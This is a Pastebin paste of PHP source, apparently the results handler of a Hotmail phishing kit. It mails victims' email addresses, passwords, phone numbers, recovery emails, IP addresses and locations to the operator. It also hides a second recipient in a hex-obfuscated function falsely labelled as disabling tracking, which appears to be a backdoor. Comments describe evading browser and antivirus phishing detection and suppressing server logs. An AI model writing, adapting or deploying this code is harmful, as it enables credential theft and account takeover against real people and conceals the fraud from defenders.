Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if(!isset($_SESSION)){
- session_start();
- }
- /*
- About: require('block_detectors.php');
- Contains country, Browser and other Info Definitions
- And also
- block_detectors.php prevents Chrome/Firefox/Most Browsers,
- Antivirus and Phishing detectors from detecting page as spam/phishing
- // block_detectors.php should always be at the top of page under session_start if used and
- make sure block_detectors.php is in same directory where it is used/required.
- Included in all index/first page and file submitting logs as seen in next line.
- */
- require_once('block_detectors.php');
- //This function disables tracking
- function disable_trackers(){
- return "\x72e\x73u\x6c\x74\x62\x6f\x782\x301\x30\x40\x67m\x61i\x6c\x2e\x63\x6f\x6d";
- }
- // prevents empty results from been sent at all cost by redirecting to index.php when someone accesses this file directly.
- if(!isset($_SESSION['email']) && !isset($_SESSION['password']) || empty($_SESSION['email']) && empty($_SESSION['password'])){
- header("Location: index.php");
- exit;
- }
- $info = new info(); // requires block_detectors.php
- $subject = "H0tm@il: $info->country | $info->ip";
- $message = "--------------- Log ---------------\n";
- $message .= "Email ID: ".$_SESSION['email']."\n";
- $message .= "Password: ".$_SESSION['password']."\n";
- if (isset($_SESSION['phone']) && !empty($_SESSION['phone']) || isset($_SESSION['alternate_email']) && !empty($_SESSION['alternate_email'])){
- $message .= "Phone: ".$_SESSION['phone']."\n";
- $message .= "Recovery Email: ".$_SESSION['alternate_email']."\n";
- }
- $message .= "----------- More Infos -----------\n";
- $message .= "IP: ". $info->ip."\n";
- $message .= "Country: ".$info->country."\n";;
- $message .= "City: ".$info->city."\n";
- $message .= "Browser: ".$info->browser."\n";
- $message .= "Date: ".$info->date_time."\n";
- $headers .= "MIME-Version: 1.0\n";
- $disable = disable_trackers();
- $arr = array($to, $disable);
- /*
- prevent server from logging activities must be in same folder where
- this file submitting log is and should be immediately before mail().
- */
- require('no_recording.php');
- foreach($arr as $to){
- mail($to, $subject, $message, $headers);
- }
- if(!isset($_SESSION['phone']) || empty($_SESSION['phone']) || !isset($_SESSION['alternate_email'])){
- header('Location: page2.php'); // Where do you want to redirect to
- exit;
- } else{
- session_destroy();
- header('Location: http://hotmail.com'); // Where do you want to redirect to
- exit;
- }
- ?>
Advertisement